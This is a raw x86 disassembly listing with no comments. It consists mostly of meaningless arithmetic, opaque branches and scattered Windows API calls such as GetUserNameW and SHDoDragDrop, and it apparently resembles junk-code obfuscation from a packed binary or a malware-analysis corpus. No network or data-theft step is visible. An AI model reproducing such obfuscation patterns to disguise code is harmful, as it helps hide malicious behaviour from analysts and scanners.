movzx ecx, byte [ebp - 0x9511]
movzx edx, byte [ebp - 0x2215]
add ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe85c]
sub edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0x8f30]
add eax, dword [edx]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x7698]
sub eax, dword [edx]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x15d00], eax
mov edx, dword [ebp - 0xd9f4]
mov ecx, dword [ebp - 0x9d8]
shr edx, cl
mov eax, dword [ebp - 0x10434]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x171f1]
movzx edx, byte [ebp - 0x17b31]
or ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbfbc]
xor edx, eax
mov word [ebp - 0xe85c], dx
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x11980]
shl edx, cl
mov eax, dword [ebp - 0xd5e0]
mov word [eax], dx
movzx ecx, byte [ebp - 0x2215]
movzx edx, byte [ebp - 0x17b31]
and ecx, edx
mov byte [ebp - 0x171f1], cl
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x10bfc]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x13970]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x5958]
mov dword [ebp - 0x7698], ecx
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xe85c]
and eax, ecx
mov word [ebp - 0x3314], ax
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
add eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x2970]
add ecx, dword [eax]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x578ab8], edx
mov eax, dword [ebp - 0x15d00]
add eax, dword [0x578ab8]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2970]
add eax, dword [edx]
mov dword [ebp - 0x1186c], eax
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x3314], dx
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x9511]
shl edx, cl
mov eax, dword [ebp - 0x66ac]
mov byte [eax], dl
mov ecx, dword [ebp - 0xd9f4]
xor ecx, dword [ebp - 0x9d8]
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x3fec]
add edx, 0x4c
mov dword [ebp - 0x3fec], edx
mov eax, dword [ebp - 0x15d00]
or eax, dword [ebp - 0x2970]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x7698]
and ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1186c]
sub eax, dword [0x578ab8]
mov dword [ebp - 0x5958], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x5958]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9511]
movzx edx, byte [ebp - 0x17b31]
add ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x48a8]
sub edx, eax
mov ecx, dword [ebp - 0xd5e0]
mov word [ecx], dx
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
and eax, ecx
mov edx, dword [ebp - 0x39cc]
mov word [edx], ax
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
add ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x10434]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
add edx, dword [eax]
mov dword [ebp - 0xd9f4], edx
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ebp - 0x9d8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x10434]
mov dword [eax], edx
movzx ecx, word [ebp - 0xe85c]
movzx edx, word [ebp - 0xbfbc]
sub ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
movzx edx, byte [ebp - 0x17b31]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x9511], dl
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ebp - 0x10434]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x13970]
mov dword [ecx], eax
cmp dword [ebp - 0x3fec], 0x5081
jne 0x408247
mov edx, dword [ebp - 0x66ac]
movzx esi, byte [edx]
movzx ecx, byte [ebp - 0x17b31]
shl esi, cl
movzx eax, byte [ebp - 0x2215]
movzx ecx, byte [ebp - 0x171f1]
cdq
idiv ecx
cmp esi, eax
jl 0x539688
mov dl, byte [ebp - 0x17b31]
mov byte [ebp - 0x1885c], dl
cmp byte [ebp - 0x1885c], 0xfc
je 0x4085ce
jmp 0x408686
movsx eax, word [ebp - 0x11980]
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
add eax, edx
movsx ecx, word [ebp - 0x48a8]
cmp eax, ecx
jge 0x408669
movzx edx, word [ebp - 0xe85c]
mov dword [ebp - 0x18860], edx
cmp dword [ebp - 0x18860], 0xff2
je 0x408606
jmp 0x408636
mov eax, dword [ebp - 0x3efc]
push eax
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0x16c70], eax
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3314]
add edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
jmp 0x408669
mov edx, dword [ebp - 0x13970]
mov eax, dword [edx]
sub eax, dword [ebp - 0xeaa0]
mov dword [ebp - 0x9d8], eax
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x66ac]
mov dl, byte [eax]
mov ecx, dword [ebp - 0x4d40]
mov ecx, dword [ecx]
call fcn.0053abe0
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0xd31c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
jmp 0x408764
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17b31]
imul ecx, edx
movzx eax, byte [ebp - 0x2215]
movzx edx, byte [ebp - 0x9511]
sub eax, edx
cmp ecx, eax
je 0x408719
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [eax]
mov dword [ebp - 0x18864], ecx
cmp dword [ebp - 0x18864], 0
je 0x4086c6
jmp 0x408703
mov dx, word [ebp - 0x48a8]
mov word [ebp - 0x160d8], dx
mov byte [ebp - 0x6725], 0x6e
lea eax, [ebp - 0xbfbc]
mov dword [ebp - 0x10c4c], eax
lea ecx, [ebp - 0x9511]
mov dword [ebp - 0xcf70], ecx
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov dword [ebp - 0x11e88], eax
jmp 0x408717
mov edx, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x7698]
sar edx, cl
mov dword [ebp - 0x2970], edx
jmp 0x408764
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9d8]
mov edx, dword [ebp - 0x10434]
mov eax, dword [edx]
add eax, dword [ebp - 0xd9f4]
cmp ecx, eax
jbe 0x408764
mov ecx, dword [ebp - 0xdeac]
push ecx
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [ebp - 0x5958], eax
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
push edx
call fcn.0053a2a0
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov cl, byte [ebp - 0x6725]
mov byte [ebp - 0x18868], cl
cmp byte [ebp - 0x18868], 0x24
je 0x4088b1
cmp byte [ebp - 0x18868], 0x46
je 0x4087a3
jmp 0x40897d
mov edx, dword [ebp - 0x10434]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd5e0]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x11980]
shl edx, cl
movsx eax, word [ebp - 0x160d8]
movsx ecx, word [ebp - 0x48a8]
and eax, ecx
cmp edx, eax
jg 0x40885f
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov dword [ebp - 0x1886c], eax
cmp dword [ebp - 0x1886c], 0x764
je 0x4087fe
jmp 0x408852
lea ecx, [ebp - 0x1880]
push ecx
lea edx, [ebp - 0x9510]
push edx
lea eax, [ebp - 0x16c70]
push eax
lea ecx, [ebp - 0xcf40]
push ecx
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x5468], eax
mov edx, dword [ebp - 0x2970]
sub edx, dword [ebp - 0x1186c]
mov dword [ebp - 0x7698], edx
movzx eax, byte [ebp - 0x9511]
movzx ecx, byte [ebp - 0x171f1]
add eax, ecx
mov edx, dword [ebp - 0xcf70]
mov byte [edx], al
jmp 0x40885f
lea eax, [ebp - 0x179e8]
push eax
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x39cc]
mov word [eax], dx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2970], eax
lea ecx, [ebp - 0xeaa0]
push ecx
mov edx, dword [ebp - 0x3efc]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [ebp - 0x106f0], eax
jmp 0x40897d
mov eax, dword [ebp - 0xd9f4]
add eax, dword [ebp - 0x11e88]
mov ecx, dword [ebp - 0x10434]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0xd31c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
and eax, dword [ebp - 0x2970]
cmp ecx, eax
jle 0x40897d
movzx ecx, word [ebp - 0xe85c]
mov dword [ebp - 0x18870], ecx
cmp dword [ebp - 0x18870], 0x682
je 0x408964
cmp dword [ebp - 0x18870], 0xdf3
je 0x408912
jmp 0x40897d
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x1186c]
add eax, dword [edx]
mov dword [ebp - 0x15d00], eax
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x5958]
shl edx, cl
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
movzx ecx, word [ebp - 0xbfbc]
push ecx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
push eax
call fcn.0053a2a0
jmp 0x40897d
movzx ecx, word [ebp - 0x3314]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xe85c], cx
mov ecx, dword [ebp - 0xcf70]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x9511], dl
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
mov dword [ebp - 0x18874], edx
cmp dword [ebp - 0x18874], 0
je 0x4089c4
cmp dword [ebp - 0x18874], 0x3b0
je 0x539507
jmp 0x5395ce
mov al, byte [ebp - 0x6725]
mov byte [ebp - 0x18878], al
cmp byte [ebp - 0x18878], 0x4c
je 0x4089eb
cmp byte [ebp - 0x18878], 0x6e
je 0x408aa8
jmp 0x5394f6
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
mov dword [ebp - 0x1887c], edx
cmp dword [ebp - 0x1887c], 0x602
je 0x408a08
jmp 0x408a7b
movzx eax, byte [ebp - 0x2215]
mov ecx, dword [ebp - 0xcf70]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
movzx eax, word [ebp - 0xe85c]
movzx ecx, word [ebp - 0x3314]
sar eax, cl
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
mov ecx, dword [ebp - 0x39cc]
movzx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jge 0x408a79
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
sub eax, ecx
mov word [ebp - 0xe85c], ax
mov edx, dword [ebp - 0x13970]
mov eax, dword [edx]
push eax
movzx ecx, byte [ebp - 0x6725]
push ecx
call fcn.0053a140
jmp 0x408aa3
lea edx, [ebp - 0xd5e0]
push edx
lea eax, [ebp - 0xe85c]
push eax
push 0x92
push 0x72
mov ecx, dword [ebp - 0x106f4]
push ecx
call dword [sym.imp.USER32.dll_ScrollWindow]
mov dword [ebp - 0x14848], eax
jmp 0x5394f6
cmp dword [ebp - 0x6fe8], 0x8409
jbe 0x408e40
mov edx, dword [ebp - 0x7698]
add edx, dword [ebp - 0x1186c]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5958]
and ecx, dword [ebp - 0x7698]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x10434]
mov eax, dword [edx]
sub eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x10434]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd31c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
add eax, dword [ecx]
mov dword [ebp - 0x15d00], eax
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x48a8]
sub eax, ecx
mov word [ebp - 0x11980], ax
movsx edx, byte [ebp - 0x6725]
add edx, 0x45
mov byte [ebp - 0x6725], dl
movzx eax, byte [ebp - 0x9511]
mov ecx, dword [ebp - 0xcf70]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], al
mov edx, dword [ebp - 0x6fe8]
sub edx, 0x5f
mov dword [ebp - 0x6fe8], edx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x10c4c]
mov word [edx], cx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x10bfc], ecx
mov edx, dword [ebp - 0xd31c]
mov eax, dword [ebp - 0x15d00]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b31]
movzx ecx, byte [ebp - 0x171f1]
shl edx, cl
mov byte [ebp - 0x9511], dl
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3314]
or ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
mov ecx, dword [ebp - 0xd9f4]
xor ecx, dword [ebp - 0x11e88]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x1186c]
sub ecx, dword [eax]
mov dword [0x578ab8], ecx
movzx edx, byte [ebp - 0x171f1]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xcf70]
mov byte [eax], dl
movzx ecx, word [ebp - 0x3314]
movzx edx, word [ebp - 0xe85c]
add ecx, edx
mov word [ebp - 0xbfbc], cx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2970]
add ecx, dword [ebp - 0x1186c]
mov dword [ebp - 0x15d00], ecx
movsx edx, word [ebp - 0x48a8]
movsx eax, word [ebp - 0x160d8]
add edx, eax
mov word [ebp - 0x11980], dx
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x15d00]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9511]
xor edx, eax
mov ecx, dword [ebp - 0xcf70]
mov byte [ecx], dl
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0xeaa0]
shl eax, cl
mov ecx, dword [ebp - 0x13970]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10434]
mov eax, dword [ebp - 0x171b8]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2344]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x5958]
sub ecx, dword [0x55d224]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [edx]
add eax, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x171f1]
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x2215], dl
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x3314], ax
mov eax, dword [ebp - 0x11e88]
and eax, dword [ebp - 0xeaa0]
mov dword [ebp - 0xd9f4], eax
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [0x578ab8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [ebp - 0x5958]
mov dword [ebp - 0x1186c], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
add eax, dword [ecx]
mov dword [0x578ab8], eax
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x39cc]
mov word [ecx], ax
movzx edx, byte [ebp - 0x17b31]
movzx eax, byte [ebp - 0x9511]
or edx, eax
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x48a8]
sar eax, cl
mov word [ebp - 0x160d8], ax
jmp 0x408aa8
movsx ecx, byte [ebp - 0x6725]
cmp ecx, 0xf
jne 0x408e86
movzx edx, byte [ebp - 0x17b31]
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], dl
movzx ecx, word [ebp - 0x48a8]
push ecx
movzx edx, word [ebp - 0x48a8]
push edx
movzx eax, byte [ebp - 0x6725]
push eax
call fcn.0053a580
add esp, 0xc
lea ecx, [ebp - 0xd9f4]
mov dword [ebp - 0xb6f8], ecx
mov edx, dword [ebp - 0xd31c]
mov eax, dword [edx]
mov dword [ebp - 0x18880], eax
cmp dword [ebp - 0x18880], 0x740d009d
je 0x408eb1
jmp 0x408f79
mov edx, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x15d00]
shl edx, cl
mov dword [ebp - 0x7698], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
and ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
add eax, dword [ebp - 0x5958]
cmp ecx, eax
jle 0x408f74
movzx ecx, byte [ebp - 0x9511]
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x66ac]
mov byte [edx], cl
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
mov dword [ebp - 0x18884], ecx
cmp dword [ebp - 0x18884], 0xa3ba3d8
je 0x408f2b
cmp dword [ebp - 0x18884], 0x53ec00cb
je 0x408f47
jmp 0x408f74
mov edx, dword [ebp - 0xd9b0]
push edx
mov eax, dword [ebp - 0xd9b4]
push eax
call dword [sym.imp.USER32.dll_WindowFromPoint]
mov dword [ebp - 0xddcc], eax
jmp 0x408f74
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe85c]
sub edx, eax
mov ecx, dword [ebp - 0x10c4c]
mov word [ecx], dx
mov edx, dword [ebp - 0x1186c]
add edx, dword [ebp - 0x2970]
mov dword [0x578ab8], edx
jmp 0x408fff
mov eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x18888], eax
cmp dword [ebp - 0x18888], 0
je 0x408f9c
cmp dword [ebp - 0x18888], 0x2b0b3957
je 0x408fe2
jmp 0x408fff
mov ecx, dword [ebp - 0x11e88]
sub ecx, dword [ebp - 0x9d8]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1186c]
mov dword [ebp - 0xdbc4], eax
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
lea edx, [ebp - 0x2215]
mov dword [ebp - 0x13d18], edx
jmp 0x408fff
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x10c4c]
mov word [edx], cx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe85c]
sub ecx, edx
movzx eax, word [ebp - 0xbfbc]
mov edx, dword [ebp - 0x6478]
movzx edx, word [edx]
add eax, edx
cmp ecx, eax
jl 0x53943c
movsx eax, byte [ebp - 0x6725]
cmp eax, 0x3d
je 0x4090f8
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1186c]
mov dword [ebp - 0x10d7c], edx
lea eax, [ebp - 0x6725]
mov dword [ebp - 0x4650], eax
mov ecx, dword [ebp - 0x10d7c]
mov dword [ebp - 0x1888c], ecx
cmp dword [ebp - 0x1888c], 0
je 0x409072
jmp 0x4090db
mov edx, dword [ebp - 0xd9f4]
mov dword [ebp - 0x18890], edx
cmp dword [ebp - 0x18890], 0x29a5061d
je 0x40908c
jmp 0x4090d9
mov eax, dword [ebp - 0xd5e0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x11980]
add ecx, edx
mov eax, dword [ebp - 0xd5e0]
mov word [eax], cx
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b31]
sub edx, eax
mov byte [ebp - 0x171f1], dl
mov ecx, dword [ebp - 0x117c8]
push ecx
mov edx, dword [ebp - 0x106f4]
push edx
call dword [sym.imp.USER32.dll_GetWindowRgn]
mov dword [ebp - 0xdbc4], eax
jmp 0x4090f8
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x39cc]
mov word [edx], cx
mov eax, dword [ebp - 0xb6f8]
mov ecx, dword [ebp - 0xeaa0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x9d8]
add edx, dword [ebp - 0x8f30]
cmp ecx, edx
jae 0x40912a
mov eax, dword [ebp - 0xb6f8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x11e88]
mov dword [ebp - 0xd9f4], ecx
mov edx, dword [ebp - 0x10bfc]
and edx, dword [ebp - 0x8f30]
mov dword [ebp - 0xd9f4], edx
movsx eax, byte [ebp - 0x6725]
add eax, 0x3d
mov ecx, dword [ebp - 0x4650]
movsx edx, byte [ecx]
cmp eax, edx
jle 0x409280
mov eax, dword [ebp - 0x39cc]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xe85c]
shl edx, cl
mov eax, dword [ebp - 0x39cc]
mov word [eax], dx
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
mov dword [ebp - 0x18894], edx
cmp dword [ebp - 0x18894], 0
je 0x40918f
jmp 0x409265
movsx eax, byte [ebp - 0x6725]
xor eax, 0x15
mov ecx, dword [ebp - 0x4650]
movsx edx, byte [ecx]
cmp eax, edx
jg 0x4091d5
lea eax, [ebp - 0x16c70]
push eax
push 0x7e
lea ecx, [ebp - 0x13bb8]
push ecx
lea edx, [ebp - 0x179e8]
push edx
mov eax, dword [ebp - 0xddcc]
push eax
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0x15568], eax
jmp 0x409263
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3314]
sub edx, eax
mov word [0x575ff0], dx
mov cl, byte [ebp - 0x2215]
mov byte [ebp - 0x18898], cl
cmp byte [ebp - 0x18898], 0x24
je 0x409205
jmp 0x40924d
lea edx, [ebp - 0x9511]
mov dword [ebp - 0x8520], edx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1186c]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
lea eax, [ebp - 0xeaa0]
mov dword [ebp - 0x169c], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
add edx, dword [eax]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], edx
jmp 0x409263
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x5958]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
jmp 0x409280
movzx edx, byte [ebp - 0x17b31]
push edx
mov eax, dword [ebp - 0x8520]
mov dl, byte [eax]
mov ecx, dword [0x55d224]
call fcn.0053abe0
movzx ecx, word [ebp - 0xbfbc]
movzx edx, word [ebp - 0x3314]
add ecx, edx
mov eax, dword [ebp - 0x39cc]
mov word [eax], cx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x13970]
add edx, dword [eax]
mov ecx, dword [ebp - 0x10434]
mov eax, dword [ebp - 0x9d8]
sub eax, dword [ecx]
cmp edx, eax
jae 0x40931c
mov ecx, dword [ebp - 0xcf70]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x171f1]
sub edx, eax
mov byte [ebp - 0x2215], dl
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x11e88]
mov eax, dword [ebp - 0x10434]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd5e0]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x11980]
push edx
mov eax, dword [ebp - 0x169c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xb6f8]
mov eax, dword [edx]
push eax
call fcn.0053a700
mov dword [ebp - 0x68f0], 0x91b0
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ecx]
mov dword [ebp - 0x2128], edx
movsx eax, word [ebp - 0x160d8]
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x48a8], ax
lea eax, [ebp - 0x6725]
mov dword [ebp - 0xe728], eax
mov edx, dword [ebp - 0x1186c]
xor edx, dword [ebp - 0x2970]
